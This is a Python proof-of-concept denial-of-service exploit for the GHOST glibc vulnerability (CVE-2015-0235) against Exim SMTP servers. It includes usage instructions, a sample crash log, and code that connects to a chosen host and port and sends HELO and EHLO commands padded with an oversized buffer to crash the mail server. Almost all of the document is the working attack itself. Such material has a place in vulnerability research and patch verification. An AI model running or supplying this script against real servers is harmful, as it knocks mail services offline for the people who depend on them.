The below script is a PoC exploit for the GHOST vulnerability affecting Exim SMTP servers resulting in a service crash.

#!/usr/bin/python
# Exim ESMTP DoS Exploit by 1N3 v20150128
# CVE-2015-0235 GHOST glibc gethostbyname buffer overflow
# http://crowdshield.com
#
# USAGE: python ghost-smtp-dos.py <ip> <port>
#
# Escape character is '^]'.
# 220 debian-7-7-64b ESMTP Exim 4.80 ...
# HELO
# 0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
# Connection closed by foreign host.
#
# user () debian-7-7-64b:~$ dmesg
# ...
# [ 1715.842547] exim4[2562]: segfault at 7fabf1f0ecb8 ip 00007fabef31bd04 sp 00007fffb427d5b0 error 6 in
# libc-2.13.so[7fabef2a2000+182000]

import socket
import time
import sys, getopt

def main(argv):
    argc = len(argv)

    if argc <= 1:
            print "usage: %s <host>" % (argv[0])
            sys.exit(0)

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    buffer = "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"

    target = argv[1] # SET TARGET
    port = argv[2] # SET PORT

    print "(--==== Exim ESMTP DoS Exploit by 1N3 - https://crowdshield.com"
    print "(--==== Sending GHOST SMTP DoS to " + target + ":" + port + " with length:" +str(len(buffer))
    s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    connect=s.connect((target,int(port)))
    data = s.recv(1024)
    print "CONNECTION: " +data
    s.send('HELO ' + buffer + '\r\n')
    data = s.recv(1024)
    print "received: " +data
    s.send('EHLO ' + buffer + '\r\n')
    data = s.recv(1024)
    print "received: " +data
    s.close()

main(sys.argv)